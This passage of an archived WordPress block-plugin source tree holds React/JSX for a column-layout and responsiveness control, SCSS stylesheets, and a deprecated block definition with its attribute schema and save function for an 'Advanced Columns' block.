									label={ __( 'Responsiveness Settings' ) }
									className="is-button"
									onClick={ onToggle }
									aria-expanded={ isOpen }
								/>
							) }
							renderContent={ ({ onToggle }) => (
								<div className="wp-block-themeisle-responsiveness-settings">
									<div className="responsiveness-title">
										{ __( 'Responsiveness Settings' ) }
									</div>

									<Button
										className={ classnames(
											'responsiveness-item',
											{ 'is-selected': 'desktop' === view }
										) }
										onClick={ () => {
											onToggle();
											changeViewType( 'desktop' );
										}}
									>
										<Dashicon icon="desktop" />
										<span className="popover-title">
											{ __( 'Desktop' ) }
										</span>
									</Button>

									<Button
										className={ classnames(
											'responsiveness-item',
											{ 'is-selected': 'tablet' === view }
										) }
										onClick={ () => {
											onToggle();
											changeViewType( 'tablet' );
										}}
									>
										<Dashicon icon="tablet" />
										<span className="popover-title">
											{ __( 'Tablet Devices' ) }
										</span>
									</Button>

									<Button
										className={ classnames(
											'responsiveness-item',
											{ 'is-selected': 'mobile' === view }
										) }
										onClick={ () => {
											onToggle();
											changeViewType( 'mobile' );
										}}
									>
										<Dashicon icon="smartphone" />
										<span className="popover-title">
											{ __( 'Smartphones' ) }
										</span>
									</Button>
								</div>
							) }
						/>
					</div>
				</div>

				{ 1 === columns && (
					<Tooltip text={ __( 'Single Row' ) } >
						<Button
							className={ classnames(
								'wp-block-themeisle-blocks-advanced-column-layout',
								{ 'selected': 'equal' === value }
							) }
							onClick={ () => onClick( 'equal' ) }
						>
							<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
								<Path d="M100,0V50H0V0Z"></Path>
							</SVG>
						</Button>
					</Tooltip>
				) || 2 === columns && (
					<Fragment>
						<Tooltip text={ __( 'Equal' ) } >
							<Button
								className={ classnames(
									'wp-block-themeisle-blocks-advanced-column-layout',
									{ 'selected': 'equal' === value }
								) }
								onClick={ () => onClick( 'equal' ) }
							>
								<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
									<Path d="M49,0V50H0V0Z M100,0V50H51V0Z"></Path>
								</SVG>
							</Button>
						</Tooltip>

						<Tooltip text={ __( '1:2' ) } >
							<Button
								className={ classnames(
									'wp-block-themeisle-blocks-advanced-column-layout',
									{ 'selected': 'oneTwo' === value }
								) }
								onClick={ () => onClick( 'oneTwo' ) }
							>
								<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
									<Path d="M32.6667,0V50H0V0Z M100,0V50H34.6667V0Z"></Path>
								</SVG>
							</Button>
						</Tooltip>

						<Tooltip text={ __( '2:1' ) } >
							<Button
								className={ classnames(
									'wp-block-themeisle-blocks-advanced-column-layout',
									{ 'selected': 'twoOne' === value }
								) }
								onClick={ () => onClick( 'twoOne' ) }
							>
								<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
									<Path d="M65.3333,0V50H0V0Z M100,0V50H67.3333V0Z"></Path>
								</SVG>
							</Button>
						</Tooltip>

						{ ( 'mobile' == view || 'tablet' == view ) && (
							<Tooltip text={ __( 'Collapsed Rows' ) } >
								<Button
									className={ classnames(
										'wp-block-themeisle-blocks-advanced-column-layout',
										{ 'selected': 'collapsedRows' === value }
									) }
									onClick={ () => onClick( 'collapsedRows' ) }
								>
									<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
										<Path d="M 0 0 L 100 0 L 100 24 L 0 24 L 0 0"></Path>
										<Path d="M 0 26 L 100 26 L 100 50 L 0 50 L 0 26"></Path>
									</SVG>
								</Button>
							</Tooltip>
						) }
					</Fragment>
				) || 3 === columns && (
					<Fragment>
						<Tooltip text={ __( 'Equal' ) } >
							<Button
								className={ classnames(
									'wp-block-themeisle-blocks-advanced-column-layout',
									{ 'selected': 'equal' === value }
								) }
								onClick={ () => onClick( 'equal' ) }
							>
								<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
									<Path d="M32,0V50H0V0Z M66,0V50H34V0Z M100,0V50H68V0Z"></Path>
								</SVG>
							</Button>
						</Tooltip>

						<Tooltip text={ __( '1:1:2' ) } >
							<Button
								className={ classnames(
									'wp-block-themeisle-blocks-advanced-column-layout',
									{ 'selected': 'oneOneTwo' === value }
								) }
								onClick={ () => onClick( 'oneOneTwo' ) }
							>
								<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
									<Path d="M24,0V50H0V0Z M50,0V50H26V0Z M100,0V50H52V0Z"></Path>
								</SVG>
							</Button>
						</Tooltip>

						<Tooltip text={ __( '2:1:1' ) } >
							<Button
								className={ classnames(
									'wp-block-themeisle-blocks-advanced-column-layout',
									{ 'selected': 'twoOneOne' === value }
								) }
								onClick={ () => onClick( 'twoOneOne' ) }
							>
								<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
									<Path d="M48,0V50H0V0Z M74,0V50H50V0Z M100,0V50H76V0Z"></Path>
								</SVG>
							</Button>
						</Tooltip>

						<Tooltip text={ __( '1:2:1' ) } >
							<Button
								className={ classnames(
									'wp-block-themeisle-blocks-advanced-column-layout',
									{ 'selected': 'oneTwoOne' === value }
								) }
								onClick={ () => onClick( 'oneTwoOne' ) }
							>
								<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
									<Path d="M24,0V50H0V0Z M74,0V50H26V0Z M100,0V50H76V0Z"></Path>
								</SVG>
							</Button>
						</Tooltip>

						<Tooltip text={ __( '1:3:1' ) } >
							<Button
								className={ classnames(
									'wp-block-themeisle-blocks-advanced-column-layout',
									{ 'selected': 'oneThreeOne' === value }
								) }
								onClick={ () => onClick( 'oneThreeOne' ) }
							>
								<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
									<Path d="M20,0V50H0V0Z M78,0V50H22V0Z M100,0V50H80V0Z"></Path>
								</SVG>
							</Button>
						</Tooltip>

						{ ( 'mobile' == view || 'tablet' == view ) && (
							<Tooltip text={ __( 'Collapsed Rows' ) } >
								<Button
									className={ classnames(
										'wp-block-themeisle-blocks-advanced-column-layout',
										{ 'selected': 'collapsedRows' === value }
									) }
									onClick={ () => onClick( 'collapsedRows' ) }
								>
									<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
										<Path d="M 0 0 L 100 0 L 100 24 L 0 24 L 0 0"></Path>
										<Path d="M 0 26 L 100 26 L 100 50 L 0 50 L 0 26"></Path>
									</SVG>
								</Button>
							</Tooltip>
						) }
					</Fragment>
				) || 4 === columns && (
					<Fragment>
						<Tooltip text={ __( 'Equal' ) } >
							<Button
								className={ classnames(
									'wp-block-themeisle-blocks-advanced-column-layout',
									{ 'selected': 'equal' === value }
								) }
								onClick={ () => onClick( 'equal' ) }
							>
								<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
									<Path d="M23.5,0V50H0V0Z M49,0V50H25.5V0Z M74.5,0V50H51V0Z M100,0V50H76.5V0Z"></Path>
								</SVG>
							</Button>
						</Tooltip>

						{ ( 'mobile' == view || 'tablet' == view ) && (
							<Fragment>
								<Tooltip text={ __( 'Two Column Grid' ) } >
									<Button
										className={ classnames(
											'wp-block-themeisle-blocks-advanced-column-layout',
											{ 'selected': 'twoColumnGrid' === value }
										) }
										onClick={ () => onClick( 'twoColumnGrid' ) }
									>
										<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
											<Path d="M 0 0 L 50 0 L 50 24 L 0 24 L 0 0"></Path>
											<Path d="M 51 0 L 100 0 L 100 24 L 51 24 L 51 0"></Path>
											<Path d="M 0 26 L 50 26 L 50 50 L 0 50 L 0 26"></Path>
											<Path d="M 51 26 L 100 26 L 100 60 L 51 60 L 51 26"></Path>
										</SVG>
									</Button>
								</Tooltip>

								<Tooltip text={ __( 'Collapsed Rows' ) } >
									<Button
										className={ classnames(
											'wp-block-themeisle-blocks-advanced-column-layout',
											{ 'selected': 'collapsedRows' === value }
										) }
										onClick={ () => onClick( 'collapsedRows' ) }
									>
										<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
											<Path d="M 0 0 L 100 0 L 100 24 L 0 24 L 0 0"></Path>
											<Path d="M 0 26 L 100 26 L 100 50 L 0 50 L 0 26"></Path>
										</SVG>
									</Button>
								</Tooltip>
							</Fragment>
						) }
					</Fragment>
				) || 5 === columns && (
					<Fragment>
						<Tooltip text={ __( 'Equal' ) } >
							<Button
								className={ classnames(
									'wp-block-themeisle-blocks-advanced-column-layout',
									{ 'selected': 'equal' === value }
								) }
								onClick={ () => onClick( 'equal' ) }
							>
								<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
									<Path d="M18.4,0V50H0V0Z M38.8,0V50H20.4V0Z M59.2,0V50H40.8V0Z M79.6,0V50H61.2V0Z M100,0V50H81.6V0Z"></Path>
								</SVG>
							</Button>
						</Tooltip>

						{ ( 'mobile' == view || 'tablet' == view ) && (
							<Tooltip text={ __( 'Collapsed Rows' ) } >
								<Button
									className={ classnames(
										'wp-block-themeisle-blocks-advanced-column-layout',
										{ 'selected': 'collapsedRows' === value }
									) }
									onClick={ () => onClick( 'collapsedRows' ) }
								>
									<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
										<Path d="M 0 0 L 100 0 L 100 24 L 0 24 L 0 0"></Path>
										<Path d="M 0 26 L 100 26 L 100 50 L 0 50 L 0 26"></Path>
									</SVG>
								</Button>
							</Tooltip>
						) }
					</Fragment>
				) || 6 === columns && (
					<Fragment>
						<Tooltip text={ __( 'Equal' ) } >
							<Button
								className={ classnames(
									'wp-block-themeisle-blocks-advanced-column-layout',
									{ 'selected': 'equal' === value }
								) }
								onClick={ () => onClick( 'equal' ) }
							>
								<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
									<Path d="M15,0V50H0V0Z M32,0V50H17V0Z M49,0V50H34V0Z M66,0V50H51V0Z M83,0V50H68V0Z M100,0V50H85V0Z"></Path>
								</SVG>
							</Button>
						</Tooltip>

						{ ( 'mobile' == view || 'tablet' == view ) && (
							<Fragment>
								<Tooltip text={ __( 'Two Column Grid' ) } >
									<Button
										className={ classnames(
											'wp-block-themeisle-blocks-advanced-column-layout',
											{ 'selected': 'twoColumnGrid' === value }
										) }
										onClick={ () => onClick( 'twoColumnGrid' ) }
									>
										<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
											<Path d="M 0 0 L 50 0 L 50 16 L 0 16 L 0 0"></Path>
											<Path d="M 51 0 L 100 0 L 100 16 L 51 16 L 51 0"></Path>
											<Path d="M 0 17 L 50 17 L 50 33 L 0 33 L 0 17"></Path>
											<Path d="M 51 17 L 100 17 L 100 33 L 51 33 L 51 17"></Path>
											<Path d="M 0 34 L 50 34 L 50 50 L 0 50 L 0 34"></Path>
											<Path d="M 51 34 L 100 34 L 100 50 L 51 50 L 51 34"></Path>
										</SVG>
									</Button>
								</Tooltip>

								<Tooltip text={ __( 'Three Column Grid' ) } >
									<Button
										className={ classnames(
											'wp-block-themeisle-blocks-advanced-column-layout',
											{ 'selected': 'threeColumnGrid' === value }
										) }
										onClick={ () => onClick( 'threeColumnGrid' ) }
									>
										<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
											<Path d="M 0 0 L 33 0 L 33 24 L 0 24 L 0 0"></Path>
											<Path d="M 34 0 L 66 0 L 66 24 L 34 24 L 34 0"></Path>
											<Path d="M 67 0 L 100 0 L 100 24 L 67 24 L 67 0"></Path>
											<Path d="M 0 26 L 33 26 L 33 50 L 0 50 L 0 26"></Path>
											<Path d="M 34 26 L 66 26 L 66 60 L 34 60 L 34 26"></Path>
											<Path d="M 67 26 L 100 26 L 100 60 L 67 60 L 67 26"></Path>
										</SVG>
									</Button>
								</Tooltip>

								<Tooltip text={ __( 'Collapsed Rows' ) } >
									<Button
										className={ classnames(
											'wp-block-themeisle-blocks-advanced-column-layout',
											{ 'selected': 'collapsedRows' === value }
										) }
										onClick={ () => onClick( 'collapsedRows' ) }
									>
										<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
											<Path d="M 0 0 L 100 0 L 100 24 L 0 24 L 0 0"></Path>
											<Path d="M 0 26 L 100 26 L 100 50 L 0 50 L 0 26"></Path>
										</SVG>
									</Button>
								</Tooltip>
							</Fragment>
						) }
					</Fragment>
				) }
			</div>
		</div>
	);
};

export default withInstanceId( LayoutControl );
section/components/layout-control/editor.scss000066600000002343151151722000015553 0ustar00.wp-block-themeisle-blocks-advanced-columns-layout-control {
	margin: 0 0 1.5em 0;

	.components-base-control__title {
		display: flex;
		justify-content: space-between;

		label {
			padding: 5px 0;
		}

		.linking-controls {
			display: flex;

			button {
				&.is-primary {
					z-index: 0;

					&:hover {
						background: #007eb1;
						border-color: #006a95 #00648c #00648c;
						box-shadow: inset 0 -1px 0 #00648c;
						color: #fff;
						text-decoration: none;
						text-shadow: 0 -1px 1px #005d82,1px 0 1px #005d82,0 1px 1px #005d82,-1px 0 1px #005d82;
					}
				}
			}
		}
	}

	.wp-block-themeisle-blocks-advanced-column-layout {
		cursor: pointer;
		width: 50%;
		display: inline-block;
		padding: 5px 5px 0px;

		svg {
			fill: #d5dadf;
		}

		&:hover {

			svg {
				fill: #6d7882;
			}
		}

		&.selected {

			svg {
				fill: #6d7882;
			}
		}
	}
}

.wp-block-themeisle-responsiveness-settings {
	padding: 10px;

	.responsiveness-title {
		margin-bottom: 8px;
		color: #6c7781;
	}

	.responsiveness-item {
		padding: 10px;
		width: 100%;

		&:hover {
			box-shadow: inset 0 0 0 1px #6c7781,inset 0 0 0 2px #fff;
		}

		&.is-selected {
			background: #edeff0;
		}

		.popover-title {
			color: #40464d;
			padding-left: 5px;
		}
	}
}section/index.js000066600000000212151151722000007646 0ustar00/**
 * Advanced Columns Block
 */
import './style.scss';
import './editor.scss';
import './advanced-columns';
import './advanced-column';
section/deprecated.js000066600000035647151151722000010663 0ustar00/**
 * External dependencies
 */
import classnames from 'classnames';
import hexToRgba from 'hex-rgba';

/**
 * WordPress dependencies
 */
const { InnerBlocks } = wp.editor;

/**
 * Internal dependencies
 */
import Separators from './components/separators/index.js';

const deprecated = [ {
	attributes: {
		align: {
			type: 'string'
		},
		id: {
			type: 'string'
		},
		columns: {
			type: 'number'
		},
		layout: {
			type: 'string'
		},
		layoutTablet: {
			type: 'string',
			default: 'equal'
		},
		layoutMobile: {
			type: 'string',
			default: 'equal'
		},
		columnsGap: {
			type: 'string',
			default: 'default'
		},
		paddingType: {
			type: 'string',
			default: 'linked'
		},
		paddingTypeTablet: {
			type: 'string',
			default: 'linked'
		},
		paddingTypeMobile: {
			type: 'string',
			default: 'linked'
		},
		padding: {
			type: 'number',
			default: 20
		},
		paddingTablet: {
			type: 'number',
			default: 20
		},
		paddingMobile: {
			type: 'number',
			default: 20
		},
		paddingTop: {
			type: 'number',
			default: 20
		},
		paddingTopTablet: {
			type: 'number',
			default: 20
		},
		paddingTopMobile: {
			type: 'number',
			default: 20
		},
		paddingRight: {
			type: 'number',
			default: 20
		},
		paddingRightTablet: {
			type: 'number',
			default: 20
		},
		paddingRightMobile: {
			type: 'number',
			default: 20
		},
		paddingBottom: {
			type: 'number',
			default: 20
		},
		paddingBottomTablet: {
			type: 'number',
			default: 20
		},
		paddingBottomMobile: {
			type: 'number',
			default: 20
		},
		paddingLeft: {
			type: 'number',
			default: 20
		},
		paddingLeftTablet: {
			type: 'number',
			default: 20
		},
		paddingLeftMobile: {
			type: 'number',
			default: 20
		},
		marginType: {
			type: 'string',
			default: 'unlinked'
		},
		marginTypeTablet: {
			type: 'string',
			default: 'unlinked'
		},
		marginTypeMobile: {
			type: 'string',
			default: 'unlinked'
		},
		margin: {
			type: 'number',
			default: 20
		},
		marginTablet: {
			type: 'number',
			default: 20
		},
		marginMobile: {
			type: 'number',
			default: 20
		},
		marginTop: {
			type: 'number',
			default: 20
		},
		marginTopTablet: {
			type: 'number',
			default: 20
		},
		marginTopMobile: {
			type: 'number',
			default: 20
		},
		marginBottom: {
			type: 'number',
			default: 20
		},
		marginBottomTablet: {
			type: 'number',
			default: 20
		},
		marginBottomMobile: {
			type: 'number',
			default: 20
		},
		columnsWidth: {
			type: 'number'
		},
		columnsHeight: {
			type: 'string',
			default: 'auto'
		},
		columnsHeightCustom: {
			type: 'number'
		},
		columnsHeightCustomTablet: {
			type: 'number'
		},
		columnsHeightCustomMobile: {
			type: 'number'
		},
		horizontalAlign: {
			type: 'string',
			default: 'unset'
		},
		verticalAlign: {
			type: 'string',
			default: 'unset'
		},
		backgroundType: {
			type: 'string',
			default: 'color'
		},
		backgroundColor: {
			type: 'string'
		},
		backgroundImageID: {
			type: 'number'
		},
		backgroundImageURL: {
			type: 'string'
		},
		backgroundAttachment: {
			type: 'string',
			default: 'scroll'
		},
		backgroundPosition: {
			type: 'string',
			default: 'top left'
		},
		backgroundRepeat: {
			type: 'string',
			default: 'repeat'
		},
		backgroundSize: {
			type: 'string',
			default: 'auto'
		},
		backgroundGradientFirstColor: {
			type: 'string',
			default: '#36d1dc'
		},
		backgroundGradientFirstLocation: {
			type: 'number',
			default: 0
		},
		backgroundGradientSecondColor: {
			type: 'string',
			default: '#5b86e5'
		},
		backgroundGradientSecondLocation: {
			type: 'number',
			default: 100
		},
		backgroundGradientType: {
			type: 'string',
			default: 'linear'
		},
		backgroundGradientAngle: {
			type: 'number',
			default: 90
		},
		backgroundGradientPosition: {
			type: 'string',
			default: 'center center'
		},
		backgroundOverlayOpacity: {
			type: 'number',
			default: 50
		},
		backgroundOverlayType: {
			type: 'string',
			default: 'color'
		},
		backgroundOverlayColor: {
			type: 'string'
		},
		backgroundOverlayImageID: {
			type: 'number'
		},
		backgroundOverlayImageURL: {
			type: 'string'
		},
		backgroundOverlayAttachment: {
			type: 'string',
			default: 'scroll'
		},
		backgroundOverlayPosition: {
			type: 'string',
			default: 'top left'
		},
		backgroundOverlayRepeat: {
			type: 'string',
			default: 'repeat'
		},
		backgroundOverlaySize: {
			type: 'string',
			default: 'auto'
		},
		backgroundOverlayGradientFirstColor: {
			type: 'string',
			default: '#36d1dc'
		},
		backgroundOverlayGradientFirstLocation: {
			type: 'number',
			default: 0
		},
		backgroundOverlayGradientSecondColor: {
			type: 'string',
			default: '#5b86e5'
		},
		backgroundOverlayGradientSecondLocation: {
			type: 'number',
			default: 100
		},
		backgroundOverlayGradientType: {
			type: 'string',
			default: 'linear'
		},
		backgroundOverlayGradientAngle: {
			type: 'number',
			default: 90
		},
		backgroundOverlayGradientPosition: {
			type: 'string',
			default: 'center center'
		},
		backgroundOverlayFilterBlur: {
			type: 'number',
			default: 0
		},
		backgroundOverlayFilterBrightness: {
			type: 'number',
			default: 10
		},
		backgroundOverlayFilterContrast: {
			type: 'number',
			default: 10
		},
		backgroundOverlayFilterGrayscale: {
			type: 'number',
			default: 0
		},
		backgroundOverlayFilterHue: {
			type: 'number',
			default: 0
		},
		backgroundOverlayFilterSaturate: {
			type: 'number',
			default: 10
		},
		backgroundOverlayBlend: {
			type: 'string',
			default: 'normal'
		},
		borderType: {
			type: 'string',
			default: 'linked'
		},
		border: {
			type: 'number',
			default: 0
		},
		borderTop: {
			type: 'number',
			default: 0
		},
		borderRight: {
			type: 'number',
			default: 0
		},
		borderBottom: {
			type: 'number',
			default: 0
		},
		borderLeft: {
			type: 'number',
			default: 0
		},
		borderColor: {
			type: 'string',
			default: '#000000'
		},
		borderRadiusType: {
			type: 'string',
			default: 'linked'
		},
		borderRadius: {
			type: 'number',
			default: 0
		},
		borderRadiusTop: {
			type: 'number',
			default: 0
		},
		borderRadiusRight: {
			type: 'number',
			default: 0
		},
		borderRadiusBottom: {
			type: 'number',
			default: 0
		},
		borderRadiusLeft: {
			type: 'number',
			default: 0
		},
		boxShadow: {
			type: 'boolean',
			default: false
		},
		boxShadowColor: {
			type: 'string',
			default: '#000000'
		},
		boxShadowColorOpacity: {
			type: 'number',
			default: 50
		},
		boxShadowBlur: {
			type: 'number',
			default: 5
		},
		boxShadowSpread: {
			type: 'number',
			default: 0
		},
		boxShadowHorizontal: {
			type: 'number',
			default: 0
		},
		boxShadowVertical: {
			type: 'number',
			default: 0
		},
		dividerTopType: {
			type: 'string',
			default: 'none'
		},
		dividerTopColor: {
			type: 'string',
			default: '#000000'
		},
		dividerTopWidth: {
			type: 'number',
			default: 100
		},
		dividerTopWidthTablet: {
			type: 'number',
			default: 100
		},
		dividerTopWidthMobile: {
			type: 'number',
			default: 100
		},
		dividerTopHeight: {
			type: 'number',
			default: 100
		},
		dividerTopHeightTablet: {
			type: 'number',
			default: 100
		},
		dividerTopHeightMobile: {
			type: 'number',
			default: 100
		},
		dividerTopInvert: {
			type: 'boolean',
			default: false
		},
		dividerBottomType: {
			type: 'string',
			default: 'none'
		},
		dividerBottomColor: {
			type: 'string',
			default: '#000000'
		},
		dividerBottomWidth: {
			type: 'number',
			default: 100
		},
		dividerBottomWidthTablet: {
			type: 'number',
			default: 100
		},
		dividerBottomWidthMobile: {
			type: 'number',
			default: 100
		},
		dividerBottomHeight: {
			type: 'number',
			default: 100
		},
		dividerBottomHeightTablet: {
			type: 'number',
			default: 100
		},
		dividerBottomHeightMobile: {
			type: 'number',
			default: 100
		},
		dividerBottomInvert: {
			type: 'boolean',
			default: false
		},
		hide: {
			type: 'boolean',
			default: false
		},
		hideTablet: {
			type: 'boolean',
			default: false
		},
		hideMobile: {
			type: 'boolean',
			default: false
		},
		columnsHTMLTag: {
			type: 'string',
			default: 'div'
		}
	},

	supports: {
		align: [ 'wide', 'full' ],
		html: false
	},

	save: props => {
		const {
			id,
			columns,
			layout,
			layoutTablet,
			layoutMobile,
			columnsGap,
			columnsWidth,
			horizontalAlign,
			verticalAlign,
			backgroundType,
			backgroundColor,
			backgroundImageURL,
			backgroundAttachment,
			backgroundPosition,
			backgroundRepeat,
			backgroundSize,
			backgroundGradientFirstColor,
			backgroundGradientFirstLocation,
			backgroundGradientSecondColor,
			backgroundGradientSecondLocation,
			backgroundGradientType,
			backgroundGradientAngle,
			backgroundGradientPosition,
			backgroundOverlayOpacity,
			backgroundOverlayType,
			backgroundOverlayColor,
			backgroundOverlayImageURL,
			backgroundOverlayAttachment,
			backgroundOverlayPosition,
			backgroundOverlayRepeat,
			backgroundOverlaySize,
			backgroundOverlayGradientFirstColor,
			backgroundOverlayGradientFirstLocation,
			backgroundOverlayGradientSecondColor,
			backgroundOverlayGradientSecondLocation,
			backgroundOverlayGradientType,
			backgroundOverlayGradientAngle,
			backgroundOverlayGradientPosition,
			backgroundOverlayFilterBlur,
			backgroundOverlayFilterBrightness,
			backgroundOverlayFilterContrast,
			backgroundOverlayFilterGrayscale,
			backgroundOverlayFilterHue,
			backgroundOverlayFilterSaturate,
			backgroundOverlayBlend,
			borderType,
			border,
			borderTop,
			borderRight,
			borderBottom,
			borderLeft,
			borderColor,
			borderRadiusType,
			borderRadius,
			borderRadiusTop,
			borderRadiusRight,
			borderRadiusBottom,
			borderRadiusLeft,
			boxShadow,
			boxShadowColor,
			boxShadowColorOpacity,
			boxShadowBlur,
			boxShadowSpread,
			boxShadowHorizontal,
			boxShadowVertical,
			dividerTopType,
			dividerTopColor,
			dividerTopInvert,
			dividerBottomType,
			dividerBottomColor,
			dividerBottomInvert,
			hide,
			hideTablet,
			hideMobile,
			columnsHTMLTag
		} = props.attributes;

		const Tag = columnsHTMLTag;

		let background, overlayBackground, borderStyle, borderRadiusStyle, boxShadowStyle;

		if ( 'color' === backgroundType ) {
			background = {
				background: backgroundColor
			};
		}

		if ( 'image' === backgroundType ) {
			background = {
				backgroundImage: `url( '${ backgroundImageURL }' )`,
				backgroundAttachment,
				backgroundPosition,
				backgroundRepeat,
				backgroundSize
			};
		}

		if ( 'gradient' === backgroundType ) {
			let direction;

			if ( 'linear' === backgroundGradientType ) {
				direction = `${ backgroundGradientAngle }deg`;
			} else {
				direction = `at ${ backgroundGradientPosition }`;
			}

			background = {
				background: `${ backgroundGradientType }-gradient( ${ direction }, ${ backgroundGradientFirstColor || 'rgba( 0, 0, 0, 0 )' } ${ backgroundGradientFirstLocation }%, ${ backgroundGradientSecondColor || 'rgba( 0, 0, 0, 0 )' } ${ backgroundGradientSecondLocation }% )`
			};
		}

		if ( 'linked' === borderType ) {
			borderStyle = {
				borderWidth: `${ border }px`,
				borderStyle: 'solid',
				borderColor: borderColor
			};
		}

		if ( 'unlinked' === borderType ) {
			borderStyle = {
				borderTopWidth: `${ borderTop }px`,
				borderRightWidth: `${ borderRight }px`,
				borderBottomWidth: `${ borderBottom }px`,
				borderLeftWidth: `${ borderLeft }px`,
				borderStyle: 'solid',
				borderColor: borderColor
			};
		}

		if ( 'linked' === borderRadiusType ) {
			borderRadiusStyle = {
				borderRadius: `${ borderRadius }px`
			};
		}

		if ( 'unlinked' === borderRadiusType ) {
			borderRadiusStyle = {
				borderTopLeftRadius: `${ borderRadiusTop }px`,
				borderTopRightRadius: `${ borderRadiusRight }px`,
				borderBottomRightRadius: `${ borderRadiusBottom }px`,
				borderBottomLeftRadius: `${ borderRadiusLeft }px`
			};
		}

		if ( true === boxShadow ) {
			boxShadowStyle = {
				boxShadow: `${ boxShadowHorizontal }px ${ boxShadowVertical }px ${ boxShadowBlur }px ${ boxShadowSpread }px ${  hexToRgba( ( boxShadowColor ? boxShadowColor : '#000000' ), boxShadowColorOpacity ) }`
			};
		}

		const style = {
			...background,
			...borderStyle,
			...borderRadiusStyle,
			...boxShadowStyle,
			justifyContent: horizontalAlign
		};

		if ( 'color' === backgroundOverlayType ) {
			overlayBackground = {
				background: backgroundOverlayColor,
				opacity: backgroundOverlayOpacity / 100
			};
		}

		if ( 'image' === backgroundOverlayType ) {
			overlayBackground = {
				backgroundImage: `url( '${ backgroundOverlayImageURL }' )`,
				backgroundAttachment: backgroundOverlayAttachment,
				backgroundPosition: backgroundOverlayPosition,
				backgroundRepeat: backgroundOverlayRepeat,
				backgroundSize: backgroundOverlaySize,
				opacity: backgroundOverlayOpacity / 100
			};
		}

		if ( 'gradient' === backgroundOverlayType ) {
			let direction;

			if ( 'linear' === backgroundOverlayGradientType ) {
				direction = `${ backgroundOverlayGradientAngle }deg`;
			} else {
				direction = `at ${ backgroundOverlayGradientPosition }`;
			}

			overlayBackground = {
				background: `${ backgroundOverlayGradientType }-gradient( ${ direction }, ${ backgroundOverlayGradientFirstColor || 'rgba( 0, 0, 0, 0 )' } ${ backgroundOverlayGradientFirstLocation }%, ${ backgroundOverlayGradientSecondColor || 'rgba( 0, 0, 0, 0 )' } ${ backgroundOverlayGradientSecondLocation }% )`,
				opacity: backgroundOverlayOpacity / 100
			};
		}

		const overlayStyle = {
			...overlayBackground,
			mixBlendMode: backgroundOverlayBlend,
			filter: `blur( ${ backgroundOverlayFilterBlur / 10 }px ) brightness( ${ backgroundOverlayFilterBrightness / 10 } ) contrast( ${ backgroundOverlayFilterContrast / 10 } ) grayscale( ${ backgroundOverlayFilterGrayscale / 100 } ) hue-rotate( ${ backgroundOverlayFilterHue }deg ) saturate( ${ backgroundOverlayFilterSaturate / 10 } )`
		};

		let innerStyle = {};

		if ( columnsWidth ) {
			innerStyle = {
				maxWidth: columnsWidth + 'px'
			};
		}

		const desktopLayout = hide ? '' : `has-desktop-${ layout }-layout`;
		const tabletLayout = hideTablet ? '' : `has-tablet-${ layoutTablet }-layout`;
		const mobileLayout = hideMobile ? '' : `has-mobile-${ layoutMobile }-layout`;

		const classes = classnames(
			props.className,
			`has-${ columns }-columns`,
			desktopLayout,
			tabletLayout,
			mobileLayout,
			{ 'hide-in-desktop': hide },
			{ 'hide-in-tablet': hideTablet },
			{ 'hide-in-mobile': hideMobile },
			`has-${ columnsGap }-gap`,
			`has-vertical-${ verticalAlign }`
		);

		return (
			<Tag
				className={ classes }
				id={ id }
				style={ style }
			>
				<div
					className="wp-themeisle-block-overlay"
					style={ overlayStyle }
				>
				</div>

				<Separators
					type="top"
					front={ true }
					style={ dividerTopType }
					fill={ dividerTopColor }
					invert={ dividerTopInvert }
				/>

				<div
					className="innerblocks-wrap"
					style={ innerStyle }
				>
					<InnerBlocks.Content />
				</div>

				<Separators
					type="bottom"
					front={ true }
					style={ dividerBottomType }
					fill={ dividerBottomColor }
					invert={ dividerBottomInvert }
				/>
			</Tag>
		);
	}
} ];

export default deprecated;
section/style.scss000066600000017732151151722010010256 0ustar00.wp-block-themeisle-blocks-advanced-columns {

	.wp-themeisle-block-overlay {
		position: absolute;
		width: 100%;
		height: 100%;
		top: 0;
		left: 0;
	}

	&.has-default-gap {
		.wp-block-themeisle-blocks-advanced-column {
			margin: 10px;
		}
	}

	&.has-nogap-gap {
		.wp-block-themeisle-blocks-advanced-column {
			margin: 0;
		}
	}

	&.has-narrow-gap {
		.wp-block-themeisle-blocks-advanced-column {
			margin: 5px;
		}
	}

	&.has-extended-gap {
		.wp-block-themeisle-blocks-advanced-column {
			margin: 15px;
		}
	}

	&.has-wide-gap {
		.wp-block-themeisle-blocks-advanced-column {
			margin: 20px;
		}
	}

	&.has-wider-gap {
		.wp-block-themeisle-blocks-advanced-column {
			margin: 30px;
		}
	}

	&.has-vertical-flex-start {
		.wp-block-themeisle-blocks-advanced-column {
			align-self: flex-start;
		}
	}

	&.has-vertical-center {
		.wp-block-themeisle-blocks-advanced-column {
			align-self: center;
		}
	}	

	&.has-vertical-flex-end {
		.wp-block-themeisle-blocks-advanced-column {
			align-self: flex-end;
		}
	}

}

@media ( min-width: 960px ) {
	.wp-block-themeisle-blocks-advanced-columns {
		display: flex;
		position: relative;

		.innerblocks-wrap {
			display: flex;
			flex-basis: 100%;
			word-break: keep-all;

			.wp-block-themeisle-blocks-advanced-column {
				position: relative;
	
				&:first-child {
					margin-left: 0;
				}
		
				&:last-child {
					margin-right: 0;
				}
